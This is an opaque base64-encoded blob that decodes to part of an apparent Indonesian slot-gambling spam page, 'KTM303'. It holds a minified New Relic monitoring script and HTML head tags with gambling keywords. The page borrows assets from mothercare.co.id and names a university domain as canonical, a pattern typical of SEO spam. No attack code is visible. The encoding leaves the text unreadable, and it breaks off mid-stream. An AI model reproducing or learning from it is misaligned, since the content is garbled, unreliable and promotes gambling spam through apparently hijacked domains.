50c106ImlucyJ9fX0sbj17fTtmdW5jdGlvbiBpKGUpe3ZhciB0PW5bZV07aWYodm9pZCAwIT09dClyZXR1cm4gdC5leHBvcnRzO3ZhciBvPW5bZV09e2V4cG9ydHM6e319O3JldHVybiByW2VdKG8sby5leHBvcnRzLGkpLG8uZXhwb3J0c31pLm09cixpLmQ9KGUsdCk9Pntmb3IodmFyIHIgaW4gdClpLm8odCxyKSYmIWkubyhlLHIpJiZPYmplY3QuZGVmaW5lUHJvcGVydHkoZSxyLHtlbnVtZXJhYmxlOiEwLGdldDp0W3JdfSl9LGkuZj17fSxpLmU9ZT0%2BUHJvbWlzZS5hbGwoT2JqZWN0LmtleXMoaS5mKS5yZWR1Y2UoKCh0LHIpPT4oaS5mW3JdKGUsdCksdCkpLFtdKSksaS51PWU9PiJuci1ydW0tMS4yODQuMS5taW4uanMiLGkubz0oZSx0KT0%2BT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKGUsdCksZT17fSx0PSJOUkJBLTEuMjg0LjEuUFJPRDoiLGkubD0ocixuLG8sYSk9PntpZihlW3JdKWVbcl0ucHVzaChuKTtlbHNle3ZhciBzLGM7aWYodm9pZCAwIT09bylmb3IodmFyIHU9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGw9MDtsPHUubGVuZ3RoO2wrKyl7dmFyIGQ9dVtsXTtpZihkLmdldEF0dHJpYnV0ZSgic3JjIik9PXJ8fGQuZ2V0QXR0cmlidXRlKCJkYXRhLXdlYnBhY2siKT09dCtvKXtzPWQ7YnJlYWt9fWlmKCFzKXtjPSEwO3ZhciBmPXsyOTY6InNoYTUxMi1JNXRWNzl1MGpoUWk3YW91RzJNK2theFVuQzhvdFBlMldYbnl0SFl2YTFwRVJxb1A4R2h4SEFpN09KWnlOelN2Qk9vanJkR0VCU2ZJTzVTeTdzY3JtQT09In07KHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0IikpLmNoYXJzZXQ9InV0Zi04IixzLnRpbWVvdXQ9MTIwLGkubmMmJnMuc2V0QXR0cmlidXRlKCJub25jZSIsaS5uYykscy5zZXRBdHRyaWJ1dGUoImRhdGEtd2VicGFjayIsdCtvKSxzLnNyYz1yLDAhPT1zLnNyYy5pbmRleE9mKHdpbmRvdy5sb2NhdGlvbi5vcmlnaW4rIi8iKSYmKHMuY3Jvc3NPcmlnaW49ImFub255bW91cyIpLGZbYV0mJihzLmludGVncml0eT1mW2FdKX1lW3JdPVtuXTt2YXIgZz0odCxuKT0%2Be3Mub25lcnJvcj1zLm9ubG9hZD1udWxsLGNsZWFyVGltZW91dChwKTt2YXIgaT1lW3JdO2lmKGRlbGV0ZSBlW3JdLHMucGFyZW50Tm9kZSYmcy5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHMpLGkmJmkuZm9yRWFjaCgoZT0%2BZShuKSkpLHQpcmV0dXJuIHQobil9LHA9c2V0VGltZW91dChnLmJpbmQobnVsbCx2b2lkIDAse3R5cGU6InRpbWVvdXQiLHRhcmdldDpzfSksMTJlNCk7cy5vbmVycm9yPWcuYmluZChudWxsLHMub25lcnJvcikscy5vbmxvYWQ9Zy5iaW5kKG51bGwscy5vbmxvYWQpLGMmJmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyl9fSxpLnI9ZT0%2BeyJ1bmRlZmluZWQiIT10eXBlb2YgU3ltYm9sJiZTeW1ib2wudG9TdHJpbmdUYWcmJk9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLFN5bWJvbC50b1N0cmluZ1RhZyx7dmFsdWU6Ik1vZHVsZSJ9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkoZSwiX19lc01vZHVsZSIse3ZhbHVlOiEwfSl9LGkucD0iaHR0cHM6Ly9qcy1hZ2VudC5uZXdyZWxpYy5jb20vIiwoKCk9Pnt2YXIgZT17Mzc0OjAsODQwOjB9O2kuZi5qPSh0LHIpPT57dmFyIG49aS5vKGUsdCk%2FZVt0XTp2b2lkIDA7aWYoMCE9PW4paWYobilyLnB1c2goblsyXSk7ZWxzZXt2YXIgbz1uZXcgUHJvbWlzZSgoKHIsaSk9Pm49ZVt0XT1bcixpXSkpO3IucHVzaChuWzJdPW8pO3ZhciBhPWkucCtpLnUodCkscz1uZXcgRXJyb3I7aS5sKGEsKHI9PntpZihpLm8oZSx0KSYmKDAhPT0obj1lW3RdKSYmKGVbdF09dm9pZCAwKSxuKSl7dmFyIG89ciYmKCJsb2FkIj09PXIudHlwZT8ibWlzc2luZyI6ci50eXBlKSxhPXImJnIudGFyZ2V0JiZyLnRhcmdldC5zcmM7cy5tZXNzYWdlPSJMb2FkaW5nIGNodW5rICIrdCsiIGZhaWxlZC5cbigiK28rIjogIithKyIpIixzLm5hbWU9IkNodW5rTG9hZEVycm9yIixzLnR5cGU9byxzLnJlcXVlc3Q9YSxuWzFdKHMpfX0pLCJjaHVuay0iK3QsdCl9fTt2YXIgdD0odCxyKT0%2Be3ZhciBuLG8sW2EscyxjXT1yLHU9MDtpZihhLnNvbWUoKHQ9PjAhPT1lW3RdKSkpe2ZvcihuIGluIHMpaS5vKHMsbikmJihpLm1bbl09c1tuXSk7aWYoYyljKGkpfWZvcih0JiZ0KHIpO3U8YS5sZW5ndGg7dSsrKW89YVt1XSxpLm8oZSxvKSYmZVtvXSYmZVtvXVswXSgpLGVbb109MH0scj1zZWxmWyJ3ZWJwYWNrQ2h1bms6TlJCQS0xLjI4NC4xLlBST0QiXT1zZWxmWyJ3ZWJwYWNrQ2h1bms6TlJCQS0xLjI4NC4xLlBST0QiXXx8W107ci5mb3JFYWNoKHQuYmluZChudWxsLDApKSxyLnB1c2g9dC5iaW5kKG51bGwsci5wdXNoLmJpbmQocikpfSkoKSwoKCk9PnsidXNlIHN0cmljdCI7aSgzNzQpO3ZhciBlPWkoOTQ0KSx0PWkoMzQ0KSxyPWkoNTY2KTtjbGFzcyBue2FnZW50SWRlbnRpZmllcjtjb25zdHJ1Y3Rvcigpe3RoaXMuYWdlbnRJZGVudGlmaWVyPSgwLHIuTEEpKDE2KX0jZSh0LC4uLnIpe2lmKCJmdW5jdGlvbiI9PXR5cGVvZiB0aGlzLmFwaT8uW3RdKXJldHVybiB0aGlzLmFwaVt0XSguLi5yKTsoMCxlLlIpKDM1LHQpfWFkZFBhZ2VBY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy4jZSgiYWRkUGFnZUFjdGlvbiIsZSx0KX1yZWNvcmRDdXN0b21FdmVudChlLHQpe3JldHVybiB0aGlzLiNlKCJyZWNvcmRDdXN0b21FdmVudCIsZSx0KX1zZXRQYWdlVmlld05hbWUoZSx0KXtyZXR1cm4gdGhpcy4jZSgic2V0UGFnZVZpZXdOYW1lIixlLHQpfXNldEN1c3RvbUF0dHJpYnV0ZShlLHQscil7cmV0dXJuIHRoaXMuI2UoInNldEN1c3RvbUF0dHJpYnV0ZSIsZSx0LHIpfW5vdGljZUVycm9yKGUsdCl7cmV0dXJuIHRoaXMuI2UoIm5vdGljZUVycm9yIixlLHQpfXNldFVzZXJJZChlKXtyZXR1cm4gdGhpcy4jZSgic2V0VXNlcklkIixlKX1zZXRBcHBsaWNhdGlvblZlcnNpb24oZSl7cmV0dXJuIHRoaXMuI2UoInNldEFwcGxpY2F0aW9uVmVyc2lvbiIsZSl9c2V0RXJyb3JIYW5kbGVyKGUpe3JldHVybiB0aGlzLiNlKCJzZXRFcnJvckhhbmRsZXIiLGUpfWFkZFJlbGVhc2UoZSx0KXtyZXR1cm4gdGhpcy4jZSgiYWRkUmVsZWFzZSIsZSx0KX1sb2coZSx0KXtyZXR1cm4gdGhpcy4jZSgibG9nIixlLHQpfX1jbGFzcyBvIGV4dGVuZHMgbnsjZSh0LC4uLnIpe2lmKCJmdW5jdGlvbiI9PXR5cGVvZiB0aGlzLmFwaT8uW3RdKXJldHVybiB0aGlzLmFwaVt0XSguLi5yKTsoMCxlLlIpKDM1LHQpfXN0YXJ0KCl7cmV0dXJuIHRoaXMuI2UoInN0YXJ0Iil9ZmluaXNoZWQoZSl7cmV0dXJuIHRoaXMuI2UoImZpbmlzaGVkIixlKX1yZWNvcmRSZXBsYXkoKXtyZXR1cm4gdGhpcy4jZSh0Lkc0LlJFQ09SRCl9cGF1c2VSZXBsYXkoKXtyZXR1cm4gdGhpcy4jZSh0Lkc0LlBBVVNFKX1hZGRUb1RyYWNlKGUpe3JldHVybiB0aGlzLiNlKCJhZGRUb1RyYWNlIixlKX1zZXRDdXJyZW50Um91dGVOYW1lKGUpe3JldHVybiB0aGlzLiNlKCJzZXRDdXJyZW50Um91dGVOYW1lIixlKX1pbnRlcmFjdGlvbigpe3JldHVybiB0aGlzLiNlKCJpbnRlcmFjdGlvbiIpfXdyYXBMb2dnZXIoZSx0LHIpe3JldHVybiB0aGlzLiNlKCJ3cmFwTG9nZ2VyIixlLHQscil9fXZhciBhPWkoODYwKSxzPWkoMjE3KTtjb25zdCBjPU9iamVjdC52YWx1ZXMoYS5LNyk7ZnVuY3Rpb24gdShlKXtjb25zdCB0PXt9O3JldHVybiBjLmZvckVhY2goKHI9Pnt0W3JdPWZ1bmN0aW9uKGUsdCl7cmV0dXJuITA9PT0oMCxzLmdEKSh0LCIiLmNvbmNhdChlLCIuZW5hYmxlZCIpKX0ocixlKX0pKSx0fXZhciBsPWkoNjAzKTt2YXIgZD1pKDY4NyksZj1pKDIzNCksZz1pKDI4OSkscD1pKDE1NCksbT1pKDM4NCk7Y29uc3QgaD1lPT5wLlJJJiYhMD09PSgwLHMuZ0QpKGUsInByaXZhY3kuY29va2llc19lbmFibGVkIik7ZnVuY3Rpb24gdihlKXtyZXR1cm4hISgwLG0uZFYpKCkuby5NTyYmaChlKSYmITA9PT0oMCxzLmdEKShlLCJzZXNzaW9uX3RyYWNlLmVuYWJsZWQiKX12YXIgYj1pKDM4OSk7Y2xhc3MgeSBleHRlbmRzIGYuV3tjb25zdHJ1Y3RvcihlLHQscj0hMCl7c3VwZXIoZS5hZ2VudElkZW50aWZpZXIsdCksdGhpcy5hdXRvPXIsdGhpcy5hYm9ydEhhbmRsZXI9dm9pZCAwLHRoaXMuZmVhdEFnZ3JlZ2F0ZT12b2lkIDAsdGhpcy5vbkFnZ3JlZ2F0ZUltcG9ydGVkPXZvaWQgMCwhMT09PWUuaW5pdFt0aGlzLmZlYXR1cmVOYW1lXS5hdXRvU3RhcnQmJih0aGlzLmF1dG89ITEpLHRoaXMuYXV0bz8oMCxkLkFrKShlLmFnZW50SWRlbnRpZmllcix0KTp0aGlzLmVlLm9uKCJtYW51YWwtc3RhcnQtYWxsIiwoMCxiLkopKCgoKT0%2BeygwLGQuQWspKGUuYWdlbnRJZGVudGlmaWVyLHRoaXMuZmVhdHVyZU5hbWUpLHRoaXMuYXV0bz0hMCx0aGlzLmltcG9ydEFnZ3JlZ2F0b3IoZSl9KSkpfWltcG9ydEFnZ3JlZ2F0b3IodCxyPXt9KXtpZih0aGlzLmZlYXRBZ2dyZWdhdGV8fCF0aGlzLmF1dG8pcmV0dXJuO2xldCBuO3RoaXMub25BZ2dyZWdhdGVJbXBvcnRlZD1uZXcgUHJvbWlzZSgoZT0%2Be249ZX0pKTtjb25zdCBvPWFzeW5jKCk9PntsZXQgbzt0cnl7aWYoaCh0aGlzLmFnZW50SWRlbnRpZmllcikpe2NvbnN0e3NldHVwQWdlbnRTZXNzaW9uOmV9PWF3YWl0IGkuZSgyOTYpLnRoZW4oaS5iaW5kKGksODYxKSk7bz1lKHQpfX1jYXRjaCh0KXsoMCxlLlIpKDIwLHQpLHRoaXMuZWUuZW1pdCgiaW50ZXJuYWwtZXJyb3IiLFt0XSksdGhpcy5mZWF0dXJlTmFtZT09PWEuSzcuc2Vzc2lvblJlcGxheSYmdGhpcy5hYm9ydEhhbmRsZXI%2FLigpfXRyeXtpZighdGhpcy4jdCh0aGlzLmZlYXR1cmVOYW1lLG8pKXJldHVybigwLGQuWmUpKHRoaXMuYWdlbnRJZGVudGlmaWVyLHRoaXMuZmVhdHVyZU5hbWUpLHZvaWQgbighMSk7Y29uc3R7bGF6eUZlYXR1cmVMb2FkZXI6ZX09YXdhaXQgaS5lKDI5NikudGhlbihpLmJpbmQoaSwxMDMpKSx7QWdncmVnYXRlOmF9PWF3YWl0IGUodGhpcy5mZWF0dXJlTmFtZSwiYWdncmVnYXRlIik7dGhpcy5mZWF0QWdncmVnYXRlPW5ldyBhKHQsciksdC5ydW50aW1lLmhhcnZlc3Rlci5pbml0aWFsaXplZEFnZ3JlZ2F0ZXMucHVzaCh0aGlzLmZlYXRBZ2dyZWdhdGUpLG4oITApfWNhdGNoKHQpeygwLGUuUikoMzQsdCksdGhpcy5hYm9ydEhhbmRsZXI%2FLigpLCgwLGQuWmUpKHRoaXMuYWdlbnRJZGVudGlmaWVyLHRoaXMuZmVhdHVyZU5hbWUsITApLG4oITEpLHRoaXMuZWUmJnRoaXMuZWUuYWJvcnQoKX19O3AuUkk%2FKDAsZy5HRykoKCgpPT5vKCkpLCEwKTpvKCl9I3QoZSx0KXtzd2l0Y2goZSl7Y2FzZSBhLks3LnNlc3Npb25SZXBsYXk6cmV0dXJuIHYodGhpcy5hZ2VudElkZW50aWZpZXIpJiYhIXQ7Y2FzZSBhLks3LnNlc3Npb25UcmFjZTpyZXR1cm4hIXQ7ZGVmYXVsdDpyZXR1cm4hMH19fXZhciB3PWkoNjMwKTtjbGFzcyBSIGV4dGVuZHMgeXtzdGF0aWMgZmVhdHVyZU5hbWU9dy5UO2NvbnN0cnVjdG9yKGUsdD0hMCl7c3VwZXIoZSx3LlQsdCksdGhpcy5pbXBvcnRBZ2dyZWdhdG9yKGUpfX12YXIgQT1pKDkwOCksRT1pKDg0MyksXz1pKDg3OCkseD1pKDc4MiksTj1pKDg2Myk7Y2xhc3MgayBleHRlbmRzIHl7c3RhdGljIGZlYXR1cmVOYW1lPXguVDtjb25zdHJ1Y3RvcihlLHQ9ITApe3N1cGVyKGUseC5ULHQpLHAuUkkmJigoMCxFLnUpKCgoKT0%2BKDAsQS5wKSgiZG9jSGlkZGVuIixbKDAsTi50KSgpXSx2b2lkIDAseC5ULHRoaXMuZWUpKSwhMCksKDAsXy5zcCkoInBhZ2VoaWRlIiwoKCk9PigwLEEucCkoIndpblBhZ2VoaWRlIixbKDAsTi50KSgpXSx2b2lkIDAseC5ULHRoaXMuZWUpKSksdGhpcy5pbXBvcnRBZ2dyZWdhdG9yKGUpKX19dmFyIFQ9aSg3NzMpO2NsYXNzIGogZXh0ZW5kcyB5e3N0YXRpYyBmZWF0dXJlTmFtZT1ULlRaO2NvbnN0cnVjdG9yKGUsdD0hMCl7c3VwZXIoZSxULlRaLHQpLHAuUkkmJmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoInNlY3VyaXR5cG9saWN5dmlvbGF0aW9uIiwoZT0%2BeygwLEEucCkoVC54VixbIkdlbmVyaWMvQ1NQVmlvbGF0aW9uL0RldGVjdGVkIl0sdm9pZCAwLHRoaXMuZmVhdHVyZU5hbWUsdGhpcy5lZSl9KSksdGhpcy5pbXBvcnRBZ2dyZWdhdG9yKGUpfX1uZXcgY2xhc3MgZXh0ZW5kcyBve2NvbnN0cnVjdG9yKHQpe3N1cGVyKCkscC5nbT8odGhpcy5mZWF0dXJlcz17fSwoMCxtLmJRKSh0aGlzLmFnZW50SWRlbnRpZmllcix0aGlzKSx0aGlzLmRlc2lyZWRGZWF0dXJlcz1uZXcgU2V0KHQuZmVhdHVyZXN8fFtdKSx0aGlzLmRlc2lyZWRGZWF0dXJlcy5hZGQoUiksdGhpcy5ydW5Tb2Z0TmF2T3ZlclNwYT1bLi4udGhpcy5kZXNpcmVkRmVhdHVyZXNdLnNvbWUoKGU9PmUuZmVhdHVyZU5hbWU9PT1hLks3LnNvZnROYXYpKSwoMCxsLmopKHRoaXMsdCx0LmxvYWRlclR5cGV8fCJhZ2VudCIpLHRoaXMucnVuKCkpOigwLGUuUikoMjEpfWdldCBjb25maWcoKXtyZXR1cm57aW5mbzp0aGlzLmluZm8saW5pdDp0aGlzLmluaXQsbG9hZGVyX2NvbmZpZzp0aGlzLmxvYWRlcl9jb25maWcscnVudGltZTp0aGlzLnJ1bnRpbWV9fXJ1bigpe3RyeXtjb25zdCB0PXUodGhpcy5hZ2VudElkZW50aWZpZXIpLHI9Wy4uLnRoaXMuZGVzaXJlZEZlYXR1cmVzXTtyLnNvcnQoKChlLHQpPT5hLlAzW2UuZmVhdHVyZU5hbWVdLWEuUDNbdC5mZWF0dXJlTmFtZV0pKSxyLmZvckVhY2goKHI9PntpZighdFtyLmZlYXR1cmVOYW1lXSYmci5mZWF0dXJlTmFtZSE9PWEuSzcucGFnZVZpZXdFdmVudClyZXR1cm47aWYodGhpcy5ydW5Tb2Z0TmF2T3ZlclNwYSYmci5mZWF0dXJlTmFtZT09PWEuSzcuc3BhKXJldHVybjtpZighdGhpcy5ydW5Tb2Z0TmF2T3ZlclNwYSYmci5mZWF0dXJlTmFtZT09PWEuSzcuc29mdE5hdilyZXR1cm47Y29uc3Qgbj1mdW5jdGlvbihlKXtzd2l0Y2goZSl7Y2FzZSBhLks3LmFqYXg6cmV0dXJuW2EuSzcuanNlcnJvcnNdO2Nhc2UgYS5LNy5zZXNzaW9uVHJhY2U6cmV0dXJuW2EuSzcuYWpheCxhLks3LnBhZ2VWaWV3RXZlbnRdO2Nhc2UgYS5LNy5zZXNzaW9uUmVwbGF5OnJldHVyblthLks3LnNlc3Npb25UcmFjZV07Y2FzZSBhLks3LnBhZ2VWaWV3VGltaW5nOnJldHVyblthLks3LnBhZ2VWaWV3RXZlbnRdO2RlZmF1bHQ6cmV0dXJuW119fShyLmZlYXR1cmVOYW1lKS5maWx0ZXIoKGU9PiEoZSBpbiB0aGlzLmZlYXR1cmVzKSkpO24ubGVuZ3RoPjAmJigwLGUuUikoMzYse3RhcmdldEZlYXR1cmU6ci5mZWF0dXJlTmFtZSxtaXNzaW5nRGVwZW5kZW5jaWVzOm59KSx0aGlzLmZlYXR1cmVzW3IuZmVhdHVyZU5hbWVdPW5ldyByKHRoaXMpfSkpfWNhdGNoKHQpeygwLGUuUikoMjIsdCk7Zm9yKGNvbnN0IGUgaW4gdGhpcy5mZWF0dXJlcyl0aGlzLmZlYXR1cmVzW2VdLmFib3J0SGFuZGxlcj8uKCk7Y29uc3Qgcj0oMCxtLlptKSgpO2RlbGV0ZSByLmluaXRpYWxpemVkQWdlbnRzW3RoaXMuYWdlbnRJZGVudGlmaWVyXT8uYXBpLGRlbGV0ZSByLmluaXRpYWxpemVkQWdlbnRzW3RoaXMuYWdlbnRJZGVudGlmaWVyXT8uZmVhdHVyZXMsZGVsZXRlIHRoaXMuc2hhcmVkQWdncmVnYXRvcjtyZXR1cm4gci5lZS5nZXQodGhpcy5hZ2VudElkZW50aWZpZXIpLmFib3J0KCksITF9fX0oe2ZlYXR1cmVzOltSLGssal0sbG9hZGVyVHlwZToibGl0ZSJ9KX0pKCl9KSgpOwogICAgICA8L3NjcmlwdD4KICAgICAgPG1ldGEgbmFtZT0idGl0bGUiIGNvbnRlbnQ9IktUTTMwMzogUmFpaCBNb21lbiBLZW1lbmFuZ2FuIEJlc2FyIERlbmdhbiBQZW5nYWxhbWFuIEJlcm1haW4gTW9kZXJuIj4KICAgICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IktUTTMwMyBtZW5naGFkaXJrYW4gcGVuZ2FsYW1hbiBiZXJtYWluIG1vZGVybiBkZW5nYW4gcGlsaWhhbiBwZXJtYWluYW4gYmVyYWdhbSwgdGFtcGlsYW4gbWVuYXJpaywgc2VydGEgYWtzZXMgcHJha3RpcyB1bnR1ayBtZW5pa21hdGkgc2V0aWFwIG1vbWVuIHNlcnUgc2VjYXJhIG55YW1hbiBkYW4gYmlqYWsuIj4KICAgICAgPG1ldGEgbmFtZT0ia2V5d29yZHMiIGNvbnRlbnQ9InNsb3QsIHNsb3QgZ2Fjb3IsIHNpdHVzIHNsb3QsIHNsb3Q4OCwgc2xvdCBnYWNvciBoYXJpIGluaSwgc2l0dXMgc2xvdCBnYWNvciwgYXBrIHNsb3QsIHNsb3Q3NzciPgogICAgICA8bWV0YSBuYW1lPSJkaXN0cmlidXRpb24iIGNvbnRlbnQ9Ikdsb2JhbCIgLz4KICAgICAgPG1ldGEgbmFtZT0icmF0aW5nIiBjb250ZW50PSJnZW5lcmFsIiAvPgogICAgICA8bWV0YSBuYW1lPSJnZW8ucmVnaW9uIiBjb250ZW50PSJJRCIgLz4KICAgICAgPG1ldGEgbmFtZT0iZ2VvLnBsYWNlbmFtZSIgY29udGVudD0iSW5kb25lc2lhIiAvPgogICAgICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IlNMT1QgR0FDT1IiIC8%2BCiAgICAgIDxtZXRhIG5hbWU9InB1Ymxpc2hlciIgY29udGVudD0iU0xPVCBHQUNPUiIgLz4KICAgICAgPG1ldGEgbmFtZT0iY29weXJpZ2h0IiBjb250ZW50PSJTTE9UIEdBQ09SIiAvPgogICAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9IklOREVYLEZPTExPVyI%2BCiAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI%2BCiAgICAgIDxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI%2BCiAgICAgIDx0aXRsZT5LVE0zMDM6IFJhaWggTW9tZW4gS2VtZW5hbmdhbiBCZXNhciBEZW5nYW4gUGVuZ2FsYW1hbiBCZXJtYWluIE1vZGVybjwvdGl0bGU%2BCiAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwgYW5kIChtaW4td2lkdGg6IDFweCkiIGhyZWY9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L19jYWNoZS9tZXJnZWQvYjJiZmVjNjFkOTA5YzM3NjU0Nzk1NDliOGI0NGMxMDIubWluLmNzcyI%2BCiAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiIGhyZWY9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L19jYWNoZS9tZXJnZWQvNTZiNTkxNGJmOTI2YWJlZDMwNDM1MTc5OGQwMzVkZTIubWluLmNzcyI%2BCiAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4sIHByaW50IiBocmVmPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9fY2FjaGUvbWVyZ2VkL2ZhYzVmYmI3MzFkOGE5MTE4Yzc1NjFlMGU4YjFmYzY3Lm1pbi5jc3MiPgogICAgICA8IS0tW2lmIElFIDExXT4KICAgICAgPHNjcmlwdCAgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiAgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvS2xldnVfU2VhcmNoL2pzL2tsZXZ1L2llVXJsUG9seWZpbGwubWluLmpzIj48L3NjcmlwdD4KICAgICAgPCFbZW5kaWZdLS0%2BCiAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBkZWZlciBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9qcy9rYW5tb19jdXN0b20ubWluLmpzIj48L3NjcmlwdD4KICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL0thbm1vX0Jvb2tpbmdBcHBvaW50bWVudC9qcy9wcm9kdWN0X2RldGFpbF9oYW5kbGVyLm1pbi5qcyI%2BPC9zY3JpcHQ%2BCiAgICAgIDxsaW5rIHJlbD0icHJlbG9hZCIgYXM9ImZvbnQiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIGhyZWY9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9mb250cy9tb3RoZXJjYXJlXzIwMjAtZGVtaS13ZWJmb250LndvZmYyIj4KICAgICAgPGxpbmsgcmVsPSJwcmVsb2FkIiBhcz0iZm9udCIgY3Jvc3NvcmlnaW49ImFub255bW91cyIgaHJlZj0iaHR0cHM6Ly93d3cubW90aGVyY2FyZS5jby5pZC9zdGF0aWMvdmVyc2lvbjE3NDE5NjMzNDUvZnJvbnRlbmQvQ29kaWxhci9tb3RoZXJjYXJlL2lkX0lEL2ZvbnRzL21vdGhlcmNhcmVfMjAyMC1yZWd1bGFyLXdlYmZvbnQud29mZjIiPgogICAgICA8bGluayByZWw9InByZWxvYWQiIGFzPSJmb250IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIiBocmVmPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvZm9udHMvbW90aGVyY2FyZV8yMDIwLXRoaW4td2ViZm9udC53b2ZmMiI%2BCiAgICAgIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJodHRwczovL2Jlcml0YWluZG9uZXNpYS5jby9waG90by9pY29uLndlYnAiPgogICAgICA8bGluayByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIgaHJlZj0iaHR0cHM6Ly9iZXJpdGFpbmRvbmVzaWEuY28vcGhvdG8vaWNvbi53ZWJwIj4KICAgICAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9Imh0dHBzOi8vZnNhaW5zLnVuY3AuYWMuaWQiPgogICAgICA8bGluayByZWw9ImFtcGh0bWwiIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgLz4KICAgICAgPGxpbmsgcmVsPSJhbHRlcm5hdGUiIGhyZWZsYW5nPSJpZC1pZCIgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvc2cvIiAvPgogICAgICA8bGluayByZWw9ImFsdGVybmF0ZSIgaHJlZmxhbmc9ImVuIiBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi9zZy8iIC8%2BCiAgICAgIDxsaW5rIHJlbD0iYWx0ZXJuYXRlIiBocmVmbGFuZz0ieC1kZWZhdWx0IiBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi9zZy8iIC8%2BCgoKICAgICAgPHN0eWxlPgogICAgICAgICBib2R5Lm9uZXN0ZXBjaGVja291dC1pbmRleC1pbmRleCBbdHlwZT1yYWRpb10ge2N1cnNvcjpwb2ludGVyO30gCiAgICAgIDwvc3R5bGU%2BCiAgICAgIDxzY3JpcHQgZGF0YS1icmVlemU%2BCiAgICAgICAgIHJlcXVpcmUoWwogICAgICAgICAgICAgJ2pxdWVyeScKICAgICAgICAgXSxmdW5jdGlvbigkKSB7CiAgICAgICAgICAgICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgaWYod2luZG93Lm91dGVyV2lkdGggPCA0NTApIHsKICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkKCcud2lkZ2V0LmJsb2NrLmJsb2NrLWJhbm5lcnMnKS5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnLndpZGdldC5ibG9jay5ibG9jay1iYW5uZXJzJykuZWFjaChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5pbnNlcnRBZnRlcigkKHRoaXMpLnBhcmVudCgpLmZpbmQoJyNjYXJ0LXRvdGFscycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5jc3MoJ3BhZGRpbmctYm90dG9tJywnMjBweCcpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIH0sIDEwMDApOwogICAgICAgICAgICAgIH0pOyAgCi